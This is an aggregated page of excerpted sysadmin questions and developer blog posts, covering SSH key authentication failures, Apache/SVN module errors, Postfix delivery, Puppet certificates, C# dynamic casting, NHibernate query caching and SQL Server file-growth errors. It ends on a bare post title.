private inheritance - Page 347

WebDAV, SVN, Apache2 on OS X 10.6.2

- by David

Hi there, I'm trying to configure SVN server on OS X 10.6.2 via Apache2. Whenever I enable the module in Wev - Settings - Services then try accessing the site, it fails. So I attempted an apachectl configtest and I'm getting a crazy amount of errors: httpd: Syntax error on line 132 of /private/etc/apache2/httpd.conf: Cannot load /usr/libexec/apache2/mod_dav_fs.so into server: dlopen(/usr/libexec/apache2/mod_dav_fs.so, 10): Symbol not found: _dav_add_response\n Referenced from: /usr/libexec/apache2/mode_dev_fs.so\n Expected in: flat namespace\n in /usr/livexec/apache2/mod_dav_fs.so When I attempt disabling the related services and enabling then one by one (dav_fs_module, dav_module, dav_svn_module and authz_svn_mod each seems to fail. What the heck. :-( Thanks in advance, Dave

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Able to connect by SSH, but not x2go

- by Mike

I am having trouble connecting to a remote server with X2GO using a DSA key. Connecting works fine over SSH, but when I try to connect with X2GO, it goes immediately to the username/password box and doesn't want to use the private key I specify in the options. If I select "Try auto login" it appears to try to connect and then I get the following error: No public key matched Access denied. Authentication that can continue: publickey It was working previously, but I reinstalled the client OS and since then I am unable to connect. I copied all of the SSH keys over from the previous installation. I also tried deleting my ~/.ssh/known_hosts file and adding the key to ssh-agent with no success, but the key is definitely added correctly: $ ssh-add -l 1024 b9:3d:e5:ef:48:ea:fc:c6:6e:45:89:b5:35:e7:58:39 server.com_dsa (DSA) Note, if I enable password authentication on the server, I can connect fine, however I would like to use publickey. Any ideas how I can connect with public key authentication?

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Postfix Not Sending Email to Some Addresses?

- by Jake

I'm using Jetpack on Wordpress, and it wasn't working. I was getting the following error: Diagnostic-Code: X-Postfix; unknown user: "jake" --60FD1138CAD.1354039466/example.com Content-Description: Undelivered Message (example.com substituted for our domain) We set up a test mail function, and that wasn't sending either. We changed the email to an outside email and it worked. Any thoughts why it won't send to an email that is at the same domain? Or why it sends to some emails but not others? Upon running postconf -n, I get the following: alias_database = hash:/etc/aliases alias_maps = hash:/etc/aliases append_dot_mydomain = no biff = no config_directory = /etc/postfix inet_interfaces = all inet_protocols = all mailbox_size_limit = 0 mydestination = example.com, Example, localhost.localdomain, localhost myhostname = example.com mynetworks = 127.0.0.0/8 [::ffff:127.0.0.0]/104 [::1]/128 myorigin = /etc/mailname readme_directory = no recipient_delimiter = + relayhost = smtp_tls_session_cache_database = btree:${data_directory}/smtp_scache smtpd_banner = $myhostname ESMTP $mail_name (Ubuntu) smtpd_tls_cert_file = /etc/ssl/certs/ssl-cert-snakeoil.pem smtpd_tls_key_file = /etc/ssl/private/ssl-cert-snakeoil.key smtpd_tls_session_cache_database = btree:${data_directory}/smtpd_scache smtpd_use_tls = yes

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Mercurial SSH process blocks when run from Local System

- by Liedman

We are using Mercurial over SSH for our development. We use Hudson for continous integration, and have deployed it on Tomcat, running on a Windows 2003 Server using the Local System account. Mercurial is configured to use Putty's plink.exe as its ssh command in Mercurial.ini, together with a private key for SSH authentication. When Hudson attempts any Mercurial command over SSH, the operation just blocks. I can see the three processes being started: hg.exe, cmd.exe and plink.exe. On the remote machine, I can also see the SSH session being opened and the authentication key being accepted. After that, nothing appears to happen, and everything just blocks, seemingly forever. (As a side note, subversion/SVN over SSH works from Hudson to the same server, using the same user and authentication key). A solution would of course be the best, but at least a hint for how I should debug it to get further would be nice, since I'm stuck and haven't even got an error message right now.

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Dynamic Code for type casting Generic Types 'generically' in C#

- by Rick Strahl

C# is a strongly typed language and while that's a fundamental feature of the language there are more and more situations where dynamic types make a lot of sense. I've written quite a bit about how I use dynamic for creating new type extensions: Dynamic Types and DynamicObject References in C# Creating a dynamic, extensible C# Expando Object Creating a dynamic DataReader for dynamic Property Access Today I want to point out an example of a much simpler usage for dynamic that I use occasionally to get around potential static typing issues in C# code especially those concerning generic types. TypeCasting Generics Generic types have been around since .NET 2.0 I've run into a number of situations in the past - especially with generic types that don't implement specific interfaces that can be cast to - where I've been unable to properly cast an object when it's passed to a method or assigned to a property. Granted often this can be a sign of bad design, but in at least some situations the code that needs to be integrated is not under my control so I have to make due with what's available or the parent object is too complex or intermingled to be easily refactored to a new usage scenario. Here's an example that I ran into in my own RazorHosting library - so I have really no excuse, but I also don't see another clean way around it in this case. A Generic Example Imagine I've implemented a generic type like this: public class RazorEngine<TBaseTemplateType> where TBaseTemplateType : RazorTemplateBase, new() You can now happily instantiate new generic versions of this type with custom template bases or even a non-generic version which is implemented like this: public class RazorEngine : RazorEngine<RazorTemplateBase> { public RazorEngine() : base() { } } To instantiate one: var engine = new RazorEngine<MyCustomRazorTemplate>(); Now imagine that the template class receives a reference to the engine when it's instantiated. This code is fired as part of the Engine pipeline when it gets ready to execute the template. It instantiates the template and assigns itself to the template: var template = new TBaseTemplateType() { Engine = this } The problem here is that possibly many variations of RazorEngine<T> can be passed. I can have RazorTemplateBase, RazorFolderHostTemplateBase, CustomRazorTemplateBase etc. as generic parameters and the Engine property has to reflect that somehow. So, how would I cast that? My first inclination was to use an interface on the engine class and then cast to the interface. Generally that works, but unfortunately here the engine class is generic and has a few members that require the template type in the member signatures. So while I certainly can implement an interface: public interface IRazorEngine<TBaseTemplateType> it doesn't really help for passing this generically templated object to the template class - I still can't cast it if multiple differently typed versions of the generic type could be passed. I have the exact same issue in that I can't specify a 'generic' generic parameter, since there's no underlying base type that's common. In light of this I decided on using object and the following syntax for the property (and the same would be true for a method parameter): public class RazorTemplateBase :MarshalByRefObject,IDisposable { public object Engine {get;set; } } Now because the Engine property is a non-typed object, when I need to do something with this value, I still have no way to cast it explicitly. What I really would need is: public RazorEngine<> Engine { get; set; } but that's not possible. Dynamic to the Rescue Luckily with the dynamic type this sort of thing can be mitigated fairly easily. For example here's a method that uses the Engine property and uses the well known class interface by simply casting the plain object reference to dynamic and then firing away on the properties and methods of the base template class that are common to all templates:/// <summary> /// Allows rendering a dynamic template from a string template /// passing in a model. This is like rendering a partial /// but providing the input as a /// </summary> public virtual string RenderTemplate(string template,object model) { if (template == null) return string.Empty; // if there's no template markup if(!template.Contains("@")) return template; // use dynamic to get around generic type casting dynamic engine = Engine; string result = engine.RenderTemplate(template, model); if (result == null) throw new ApplicationException("RenderTemplate failed: " + engine.ErrorMessage); return result; } Prior to .NET 4.0 I would have had to use Reflection for this sort of thing which would have a been a heck of a lot more verbose, but dynamic makes this so much easier and cleaner and in this case at least the overhead is negliable since it's a single dynamic operation on an otherwise very complex operation call. Dynamic as a Bailout Sometimes this sort of thing often reeks of a design flaw, and I agree that in hindsight this could have been designed differently. But as is often the case this particular scenario wasn't planned for originally and removing the generic signatures from the base type would break a ton of other code in the framework. Given the existing fairly complex engine design, refactoring an interface to remove generic types just to make this particular code work would have been overkill. Instead dynamic provides a nice and simple and relatively clean solution. Now if there were many other places where this occurs I would probably consider reworking the code to make this cleaner but given this isolated instance and relatively low profile operation use of dynamic seems a valid choice for me. This solution really works anywhere where you might end up with an inheritance structure that doesn't have a common base or interface that is sufficient. In the example above I know what I'm getting but there's no common base type that I can cast to. All that said, it's a good idea to think about use of dynamic before you rush in. In many situations there are alternatives that can still work with static typing. Dynamic definitely has some overhead compared to direct static access of objects, so if possible we should definitely stick to static typing. In the example above the application already uses dynamics extensively for dynamic page page templating and passing models around so introducing dynamics here has very little additional overhead. The operation itself also fires of a fairly resource heavy operation where the overhead of a couple of dynamic member accesses are not a performance issue. So, what's your experience with dynamic as a bailout mechanism? © Rick Strahl, West Wind Technologies, 2005-2012Posted in CSharp Tweet !function(d,s,id){var js,fjs=d.getElementsByTagName(s)[0];if(!d.getElementById(id)){js=d.createElement(s);js.id=id;js.src="//platform.twitter.com/widgets.js";fjs.parentNode.insertBefore(js,fjs);}}(document,"script","twitter-wjs"); (function() { var po = document.createElement('script'); po.type = 'text/javascript'; po.async = true; po.src = 'https://apis.google.com/js/plusone.js'; var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(po, s); })();

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Unable to SSH into EC2 instance on Fedora 17

- by abhishek

I did following steps But I am not able to SSH to it(Same steps work fine on Fedora 14 image). I am getting Permission denied (publickey,gssapi-keyex,gssapi-with-mic) I created new instance using fedora 17 amazon community image(ami-2ea50247). I copied my ssh keys under /home/usertest/.ssh/ after creating a usertest I have SELINUX=disabled here is Debug info: $ ssh -vvv ec2-54-243-101-41.compute-1.amazonaws.com ssh -vvv ec2-54-243-101-41.compute-1.amazonaws.com OpenSSH_5.2p1, OpenSSL 1.0.0b-fips 16 Nov 2010 debug1: Reading configuration data /etc/ssh/ssh_config debug1: Applying options for * debug2: ssh_connect: needpriv 0 debug1: Connecting to ec2-54-243-101-41.compute-1.amazonaws.com [54.243.101.41] port 22. debug1: Connection established. debug1: identity file /home/usertest/.ssh/identity type -1 debug1: identity file /home/usertest/.ssh/id_rsa type -1 debug3: Not a RSA1 key file /home/usertest/.ssh/id_dsa. debug2: key_type_from_name: unknown key type '-----BEGIN' debug3: key_read: missing keytype debug2: key_type_from_name: unknown key type 'Proc-Type:' debug3: key_read: missing keytype debug2: key_type_from_name: unknown key type 'DEK-Info:' debug3: key_read: missing keytype debug3: key_read: missing whitespace debug3: key_read: missing whitespace debug3: key_read: missing whitespace debug3: key_read: missing whitespace debug3: key_read: missing whitespace debug3: key_read: missing whitespace debug3: key_read: missing whitespace debug3: key_read: missing whitespace debug3: key_read: missing whitespace debug3: key_read: missing whitespace debug2: key_type_from_name: unknown key type '-----END' debug3: key_read: missing keytype debug1: identity file /home/usertest/.ssh/id_dsa type 2 debug1: Remote protocol version 2.0, remote software version OpenSSH_5.9 debug1: match: OpenSSH_5.9 pat OpenSSH* debug1: Enabling compatibility mode for protocol 2.0 debug1: Local version string SSH-2.0-OpenSSH_5.2 debug2: fd 3 setting O_NONBLOCK debug1: SSH2_MSG_KEXINIT sent debug1: SSH2_MSG_KEXINIT received debug2: kex_parse_kexinit: diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1 debug2: kex_parse_kexinit: ssh-rsa,ssh-dss debug2: kex_parse_kexinit: aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc,arcfour,[email protected] debug2: kex_parse_kexinit: aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc,arcfour,[email protected] debug2: kex_parse_kexinit: hmac-md5,hmac-sha1,[email protected],hmac-ripemd160,[email protected],hmac-sha1-96,hmac-md5-96 debug2: kex_parse_kexinit: hmac-md5,hmac-sha1,[email protected],hmac-ripemd160,[email protected],hmac-sha1-96,hmac-md5-96 debug2: kex_parse_kexinit: none,[email protected],zlib debug2: kex_parse_kexinit: none,[email protected],zlib debug2: kex_parse_kexinit: debug2: kex_parse_kexinit: debug2: kex_parse_kexinit: first_kex_follows 0 debug2: kex_parse_kexinit: reserved 0 debug2: kex_parse_kexinit: diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1 debug2: kex_parse_kexinit: ssh-rsa,ssh-dss debug2: kex_parse_kexinit: aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc,arcfour,[email protected] debug2: kex_parse_kexinit: aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc,arcfour,[email protected] debug2: kex_parse_kexinit: hmac-md5,hmac-sha1,[email protected],hmac-sha2-256,hmac-sha2-256-96,hmac-sha2-512,hmac-sha2-512-96,hmac-ripemd160,[email protected],hmac-sha1-96,hmac-md5-96 debug2: kex_parse_kexinit: hmac-md5,hmac-sha1,[email protected],hmac-sha2-256,hmac-sha2-256-96,hmac-sha2-512,hmac-sha2-512-96,hmac-ripemd160,[email protected],hmac-sha1-96,hmac-md5-96 debug2: kex_parse_kexinit: none,[email protected] debug2: kex_parse_kexinit: none,[email protected] debug2: kex_parse_kexinit: debug2: kex_parse_kexinit: debug2: kex_parse_kexinit: first_kex_follows 0 debug2: kex_parse_kexinit: reserved 0 debug2: mac_setup: found hmac-md5 debug1: kex: server->client aes128-ctr hmac-md5 none debug2: mac_setup: found hmac-md5 debug1: kex: client->server aes128-ctr hmac-md5 none debug1: SSH2_MSG_KEX_DH_GEX_REQUEST(1024<1024<8192) sent debug1: expecting SSH2_MSG_KEX_DH_GEX_GROUP debug2: dh_gen_key: priv key bits set: 131/256 debug2: bits set: 506/1024 debug1: SSH2_MSG_KEX_DH_GEX_INIT sent debug1: expecting SSH2_MSG_KEX_DH_GEX_REPLY debug3: check_host_in_hostfile: filename /home/usertest/.ssh/known_hosts debug3: check_host_in_hostfile: match line 17 debug3: check_host_in_hostfile: filename /home/usertest/.ssh/known_hosts debug3: check_host_in_hostfile: match line 17 debug1: Host 'ec2-54-243-101-41.compute-1.amazonaws.com' is known and matches the RSA host key. debug1: Found key in /home/usertest/.ssh/known_hosts:17 debug2: bits set: 500/1024 debug1: ssh_rsa_verify: signature correct debug2: kex_derive_keys debug2: set_newkeys: mode 1 debug1: SSH2_MSG_NEWKEYS sent debug1: expecting SSH2_MSG_NEWKEYS debug2: set_newkeys: mode 0 debug1: SSH2_MSG_NEWKEYS received debug1: SSH2_MSG_SERVICE_REQUEST sent debug2: service_accept: ssh-userauth debug1: SSH2_MSG_SERVICE_ACCEPT received debug2: key: /home/usertest/.ssh/identity ((nil)) debug2: key: /home/usertest/.ssh/id_rsa ((nil)) debug2: key: /home/usertest/.ssh/id_dsa (0x7f904b5ae260) debug1: Authentications that can continue: publickey,gssapi-keyex,gssapi-with-mic debug3: start over, passed a different list publickey,gssapi-keyex,gssapi-with-mic debug3: preferred gssapi-with-mic,publickey,keyboard-interactive,password debug3: authmethod_lookup gssapi-with-mic debug3: remaining preferred: publickey,keyboard-interactive,password debug3: authmethod_is_enabled gssapi-with-mic debug1: Next authentication method: gssapi-with-mic debug3: Trying to reverse map address 54.243.101.41. debug1: Unspecified GSS failure. Minor code may provide more information Credentials cache file '/tmp/krb5cc_500' not found debug1: Unspecified GSS failure. Minor code may provide more information Credentials cache file '/tmp/krb5cc_500' not found debug1: Unspecified GSS failure. Minor code may provide more information debug2: we did not send a packet, disable method debug3: authmethod_lookup publickey debug3: remaining preferred: keyboard-interactive,password debug3: authmethod_is_enabled publickey debug1: Next authentication method: publickey debug1: Trying private key: /home/usertest/.ssh/identity debug3: no such identity: /home/usertest/.ssh/identity debug1: Trying private key: /home/usertest/.ssh/id_rsa debug3: no such identity: /home/usertest/.ssh/id_rsa debug1: Offering public key: /home/usertest/.ssh/id_dsa debug3: send_pubkey_test debug2: we sent a publickey packet, wait for reply debug1: Authentications that can continue: publickey,gssapi-keyex,gssapi-with-mic debug2: we did not send a packet, disable method debug1: No more authentication methods to try. Permission denied (publickey,gssapi-keyex,gssapi-with-mic).

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OpenLdap TLS authentication setup

- by CrazycodeMonkey

I am trying to setup openldap on ubuntu 12.04 by following this guide https://help.ubuntu.com/12.04/serverguide/openldap-server.html When I tried to enable TLS on the server by creating a self signed crtificate as decribed in the guide above, I got the following error command that I ran ldapmodify -Y EXTERNAL -H ldapi:/// -f /etc/ssl/certinfo.ldif Content of ldif file dn: cn=config add: olcTLSCACertificateFile olcTLSCACertificateFile: /etc/ssl/certs/cacert.pem - add: olcTLSCertificateFile olcTLSCertificateFile: /etc/ssl/certs/ldap01_slapd_cert.pem - add: olcTLSCertificateKeyFile olcTLSCertificateKeyFile: /etc/ssl/private/ldap01_slapd_key.pem Error Message ldap_modify: Inappropriate matching (18) additional info: modify/add: olcTLSCertificateFile: no equality matching rule After hours of searching on google, I have not found anything that tells much about this error. Does anyone have any more information on this?

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Add linux user with restricted access

- by Dominik Str

I need to create a user on linux with access rights only to one folder. Background: I have installed git on my virtual server (Debian). I also created a user for the repository. There is a lot of private data on the server. But all folders have read-access for others, because it's needed for the applications which run on the server. So the git-user can see all the data. I would like to restrict the git user only to the folder where the repository is installed. I also tried ACL, but it didn't work. Is there a better way to do this? Thanks in advance!

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migrating puppet clients to a new puppet master (old puppet master server gone, only using backup)

- by user47650

My puppet master server had a hardware failure, and I have restored to another box. However this box has different hardware and hostname. If I restore the existing /etc/puppet directory to the new server, the puppetmaster will not start with the following error; # puppetmasterd --debug --verbose Could not prepare for execution: Retrieved certificate does not match private key; please remove certificate from server and regenerate it with the current key So what steps do I need to take to allow the new puppetmaster to start, and to generate a new puppetmaster certificate using the old ca.. Also will the puppet clients actually report in to a different puppet server using a server certificate that has been generated with the old CA?

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Fail rate of EBS snapshots and AMIs?

- by user784637

According to Amazon the fail rate of EBS volumes is: As an example, volumes that operate with 20 GB or less of modified data since their most recent Amazon EBS snapshot can expect an annual failure rate (AFR) of between 0.1% – 0.5%, where failure refers to a complete loss of the volume http://aws.amazon.com/ebs/ However, I was curious to know the fail rate of EBS snapshots and private AMIs that a system admin would take. Since the EBS snapshots and AMIs are stored in Amazon s3, is it safe to assume that the likelihood you cannot rollback to a previous snapshot or AMI the same likelihood that a file gets lost in s3? Amazon S3’s standard storage is: ... Designed to provide 99.999999999% durability and 99.99% availability of objects over a given year. http://aws.amazon.com/s3/

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How to enable key forwarding with ssh-agent?

- by Lamnk

I've used the ssh-agent from oh-my-zsh to manage my SSH key. So far, so good, i only have to type the passphrase for my private key once when I start my shell and public key authentication works great. The problem is however that key forwarding doesn't work. There are 2 servers A & B which I can use public key to login. When I ssh into A then from there ssh into B, I must provide my password, which should not be the case. A is a CentOS 5.6 box, B is an Ubuntu 11.04 box. I have this on my local .ssh/config: Host * ForwardAgent yes OpenSSH on A is standard openssh 4.3 package provided by CentOS. I also enable ForwardAgent for ssh client on A, but forwarding still doesn't work.

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Oracle Solaris 11.1 Announced at Oracle OpenWorld

- by glynn

One of the highlights for me at Oracle OpenWorld was our announcement of the next update version to Oracle Solaris 11, named Oracle Solaris 11.1. Since November 2011, we've done a lot of work not only to polish existing features and fix literally hundreds of bugs, but also add many new features that give yet more reasons for using Oracle Solaris as the deployment platform for Oracle workloads - particularly the Oracle database. Over the last few years since the Sun Microsystems acquisition, we've had our developers sitting in Redwood Shores with the Oracle database team figuring out how to best optimize that combination and provide a level of integration that no other vendor (or solution) can match. Oracle Solaris 11.1 is often the first release many customers will adopt due to perceived instability of '.0' releases. In reality, however, we've seen incredible adoption already and all our existing customers are loving the new technologies like Image Packaging System (IPS), Automated Installer and ZFS Boot Environments, consolidated network management and network virtualization, and of course the existing features that are so critical to creating private, hybrid or public cloud environments like the Oracle Solaris ZFS file system and Oracle Solaris Zones server virtualization. If you haven't already gotten on board, there's plenty chance to catch up. More importantly, Oracle Solaris 11.1 really provides a platform that is significantly easier to manage than any previous Solaris releases - to the extent that it should be relatively straightforward for any experienced Linux administrator to get up to speed (if they're struggling, we have ways to help). So take a look at what's new in Oracle Solaris 11.1 and start planning your deployment now! If you missed the announcement, you can see the full video of John Fowler's keynote at Oracle OpenWorld here:

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SQL SERVER – FIX: ERROR Msg 5169, Level 16: FILEGROWTH cannot be greater than MAXSIZE for file

- by pinaldave

I am writing this blog post right after I resolve this error for one of the system. Recently one of the my friend who is expert in infrastructure as well private cloud was working on SQL Server installation. Please note he is seriously expert in what he does but he has never worked SQL Server before and have absolutely no experience with its installation. He was modifying database file and keep on getting following error. As soon as he saw me he asked me where is the maxfile size setting so he can change. Let us quickly re-create the scenario he was facing. Error Message: Msg 5169, Level 16, State 1, Line 1 FILEGROWTH cannot be greater than MAXSIZE for file ‘NewDB’. Creating Scenario: CREATE DATABASE [NewDB] ON PRIMARY (NAME = N'NewDB', FILENAME = N'D:\NewDB.mdf' , SIZE = 4096KB, FILEGROWTH = 1024KB, MAXSIZE = 4096KB) LOG ON (NAME = N'NewDB_log', FILENAME = N'D:\NewDB_log.ldf', SIZE = 1024KB, FILEGROWTH = 10%) GO Now let us see what exact command was creating error for him. USE [master] GO ALTER DATABASE [NewDB] MODIFY FILE ( NAME = N'NewDB', FILEGROWTH = 1024MB ) GO Workaround / Fix / Solution: The reason for the error is very simple. He was trying to modify the filegrowth to much higher value than the maximum file size specified for the database. There are two way we can fix it. Method 1: Reduces the filegrowth to lower value than maxsize of file USE [master] GO ALTER DATABASE [NewDB] MODIFY FILE ( NAME = N'NewDB', FILEGROWTH = 1024KB ) GO Method 2: Increase maxsize of file so it is greater than new filegrowth USE [master] GO ALTER DATABASE [NewDB] MODIFY FILE ( NAME = N'NewDB', FILEGROWTH = 1024MB, MAXSIZE = 4096MB) GO I think this blog post will help everybody who is facing similar issues. Reference: Pinal Dave (http://blog.sqlauthority.com) Filed under: PostADay, SQL, SQL Authority, SQL Error Messages, SQL Query, SQL Server, SQL Tips and Tricks, T SQL, Technology

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OpenVPN vs. IPSec - Pros and Cons, what to use?

- by jens

interestingly I have not found any good searchresults when searching for "OpenVPN vs IPSec": I need to setup a private LAN over an untrusted network. And as far as I know, both approaces seem to be valid. But I do not know which one is better. I would be very thankfull If you can list the pro's and con's of both approaches and maybe your suggestions and experiences what to use. Update (Regarding the comment/question): In my concrete case the goal is to have any number of Servers (with static IPs) be connected transparently with each other. But a small portion of "dynamic clients like road warriors" (with dynamic IPs) should also be able to connect. The main goal is however having a "transparent secure network" run top of untrusted network. I am quite a newbie so I do not know how to correctly interprete "1:1 Point to Point Connections" = The solution should support Broadcasts and all that stuff so it is a fully functional network... Thank you very much!! Jens

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Caching NHibernate Named Queries

- by TStewartDev

I recently started a new job and one of my first tasks was to implement a "popular products" design. The parameters were that it be done with NHibernate and be cached for 24 hours at a time because the query will be pretty taxing and the results do not need to be constantly up to date. This ended up being tougher than it sounds. The database schema meant a minimum of four joins with filtering and ordering criteria. I decided to use a stored procedure rather than letting NHibernate create the SQL for me. Here is a summary of what I learned (even if I didn't ultimately use all of it): You can't, at the time of this writing, use Fluent NHibernate to configure SQL named queries or imports You can return persistent entities from a stored procedure and there are a couple ways to do that You can populate POCOs using the results of a stored procedure, but it isn't quite as obvious You can reuse your named query result mapping other places (avoid duplication) Caching your query results is not at all obvious Testing to see if your cache is working is a pain NHibernate does a lot of things right. Having unified, up-to-date, comprehensive, and easy-to-find documentation is not one of them. By the way, if you're new to this, I'll use the terms "named query" and "stored procedure" (from NHibernate's perspective) fairly interchangeably. Technically, a named query can execute any SQL, not just a stored procedure, and a stored procedure doesn't have to be executed from a named query, but for reusability, it seems to me like the best practice. If you're here, chances are good you're looking for answers to a similar problem. You don't want to read about the path, you just want the result. So, here's how to get this thing going. The Stored Procedure NHibernate has some guidelines when using stored procedures. For Microsoft SQL Server, you have to return a result set. The scalar value that the stored procedure returns is ignored as are any result sets after the first. Other than that, it's nothing special. CREATE PROCEDURE GetPopularProducts @StartDate DATETIME, @MaxResults INT AS BEGIN SELECT [ProductId], [ProductName], [ImageUrl] FROM SomeTableWithJoinsEtc END The Result Class - PopularProduct You have two options to transport your query results to your view (or wherever is the final destination): you can populate an existing mapped entity class in your model, or you can create a new entity class. If you go with the existing model, the advantage is that the query will act as a loader and you'll get full proxied access to the domain model. However, this can be a disadvantage if you require access to the related entities that aren't loaded by your results. For example, my PopularProduct has image references. Unless I tie them into the query (thus making it even more complicated and expensive to run), they'll have to be loaded on access, requiring more trips to the database. Since we're trying to avoid trips to the database by using a second-level cache, we should use the second option, which is to create a separate entity for results. This approach is (I believe) in the spirit of the Command-Query Separation principle, and it allows us to flatten our data and optimize our report-generation process from data source to view. public class PopularProduct { public virtual int ProductId { get; set; } public virtual string ProductName { get; set; } public virtual string ImageUrl { get; set; } } The NHibernate Mappings (hbm) Next up, we need to let NHibernate know about the query and where the results will go. Below is the markup for the PopularProduct class. Notice that I'm using the <resultset> element and that it has a name attribute. The name allows us to drop this into our query map and any others, giving us reusability. Also notice the <import> element which lets NHibernate know about our entity class. <?xml version="1.0" encoding="utf-8" ?> <hibernate-mapping xmlns="urn:nhibernate-mapping-2.2"> <import class="PopularProduct, Infrastructure.NHibernate, Version=1.0.0.0"/> <resultset name="PopularProductResultSet"> <return-scalar column="ProductId" type="System.Int32"/> <return-scalar column="ProductName" type="System.String"/> <return-scalar column="ImageUrl" type="System.String"/> </resultset> </hibernate-mapping> And now the PopularProductsMap: <?xml version="1.0" encoding="utf-8" ?> <hibernate-mapping xmlns="urn:nhibernate-mapping-2.2"> <sql-query name="GetPopularProducts" resultset-ref="PopularProductResultSet" cacheable="true" cache-mode="normal"> <query-param name="StartDate" type="System.DateTime" /> <query-param name="MaxResults" type="System.Int32" /> exec GetPopularProducts @StartDate = :StartDate, @MaxResults = :MaxResults </sql-query> </hibernate-mapping> The two most important things to notice here are the resultset-ref attribute, which links in our resultset mapping, and the cacheable attribute. The Query Class – PopularProductsQuery So far, this has been fairly obvious if you're familiar with NHibernate. This next part, maybe not so much. You can implement your query however you want to; for me, I wanted a self-encapsulated Query class, so here's what it looks like: public class PopularProductsQuery : IPopularProductsQuery { private static readonly IResultTransformer ResultTransformer; private readonly ISessionBuilder _sessionBuilder; static PopularProductsQuery() { ResultTransformer = Transformers.AliasToBean<PopularProduct>(); } public PopularProductsQuery(ISessionBuilder sessionBuilder) { _sessionBuilder = sessionBuilder; } public IList<PopularProduct> GetPopularProducts(DateTime startDate, int maxResults) { var session = _sessionBuilder.GetSession(); var popularProducts = session .GetNamedQuery("GetPopularProducts") .SetCacheable(true) .SetCacheRegion("PopularProductsCacheRegion") .SetCacheMode(CacheMode.Normal) .SetReadOnly(true) .SetResultTransformer(ResultTransformer) .SetParameter("StartDate", startDate.Date) .SetParameter("MaxResults", maxResults) .List<PopularProduct>(); return popularProducts; } } Okay, so let's look at each line of the query execution. The first, GetNamedQuery, matches up with our NHibernate mapping for the sql-query. Next, we set it as cacheable (this is probably redundant since our mapping also specified it, but it can't hurt, right?). Then we set the cache region which we'll get to in the next section. Set the cache mode (optional, I believe), and my cache is read-only, so I set that as well. The result transformer is very important. This tells NHibernate how to transform your query results into a non-persistent entity. You can see I've defined ResultTransformer in the static constructor using the AliasToBean transformer. The name is obviously leftover from Java/Hibernate. Finally, set your parameters and then call a result method which will execute the query. Because this is set to cached, you execute this statement every time you run the query and NHibernate will know based on your parameters whether to use its cached version or a fresh version. The Configuration – hibernate.cfg.xml and Web.config You need to explicitly enable second-level caching in your hibernate configuration: <hibernate-configuration xmlns="urn:nhibernate-configuration-2.2"> <session-factory> [...] <property name="dialect">NHibernate.Dialect.MsSql2005Dialect</property> <property name="cache.provider_class">NHibernate.Caches.SysCache.SysCacheProvider,NHibernate.Caches.SysCache</property> <property name="cache.use_query_cache">true</property> <property name="cache.use_second_level_cache">true</property> [...] </session-factory> </hibernate-configuration> Both properties "use_query_cache" and "use_second_level_cache" are necessary. As this is for a web deployement, we're using SysCache which relies on ASP.NET's caching. Be aware of this if you're not deploying to the web! You'll have to use a different cache provider. We also need to tell our cache provider (in this cache, SysCache) about our caching region: <syscache> <cache region="PopularProductsCacheRegion" expiration="86400" priority="5" /> </syscache> Here I've set the cache to be valid for 24 hours. This XML snippet goes in your Web.config (or in a separate file referenced by Web.config, which helps keep things tidy). The Payoff That should be it! At this point, your queries should run once against the database for a given set of parameters and then use the cache thereafter until it expires. You can, of course, adjust settings to work in your particular environment. Testing Testing your application to ensure it is using the cache is a pain, but if you're like me, you want to know that it's actually working. It's a bit involved, though, so I'll create a separate post for it if comments indicate there is interest.

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Pfsense: Inbound Load Balancing https with sticky connection

- by Zeux

first of all I'm very sorry for my English... This is my scenario: Internet Firewall+LB: pfsense_1(Active) + pfsense_2(Passive) in CARP Pool servers: 3 x nginx(PHP5+HTTP+HTTPS) Pfsense 1 and 2 CARP configured with Virtual IP (pubblic). Nginx servers's ips are all private. I want to load balance inbound HTTP and HTTPS connections between the 3 nginx web servers. An importat thing is that the HTTPS connections must be "sticky connections": in HTTPS connections, after login by username and password, I setup a php session and therefore when a client starts a HTTPS connection it will be always redirected to the same nginx server, until it disconnects itself, it closes the page/browser or after a timeout (30minutes?) without activity. Is this possible whit the last release(2.0.1) of pfsense? thank you very much...

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Tunlr Gives Non-US Residents Access to Hulu, Netflix, and More

- by Jason Fitzpatrick

If you’re outside the US market and looking to enjoy US streaming services like Hulu, Netflix, and more, Tunlr is a free and simple service that will get you connected. Unlike other tools that are more expensive (both in price and in hardware/bandwidth overhead) like VPN services, Tunlr doesn’t set up a full tunnel but instead serves as an alternative DNS server that allows you to access previously blocked content. From the Tunlr FAQ: Tunlr does not provide a virtual private network (VPN). Tunlr is a DNS (domain name system) unblocking service. We’re using sophisticated technologies (a.k.a. the Tunlr Secret Sauce ©) to re-adress certain data envelopes, tricking the receiver into thinking the envelope originated from within the U.S. For these data envelopes, Tunlr is transparently creating a network tunnel from your location to our U.S.-based servers. Any data that’s not directly related to the video or music content providers which Tunlr supports is not only left untouched, it’s also not even routed through Tunlr. Hit up the link below for more information about the service, including how to set it up on various operating systems, portable devices, and gaming consoles. Tunlr [via gHacks] HTG Explains: Why You Only Have to Wipe a Disk Once to Erase It HTG Explains: Learn How Websites Are Tracking You Online Here’s How to Download Windows 8 Release Preview Right Now

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Couldn't find package - But package is listed in the Packages file

- by Chris

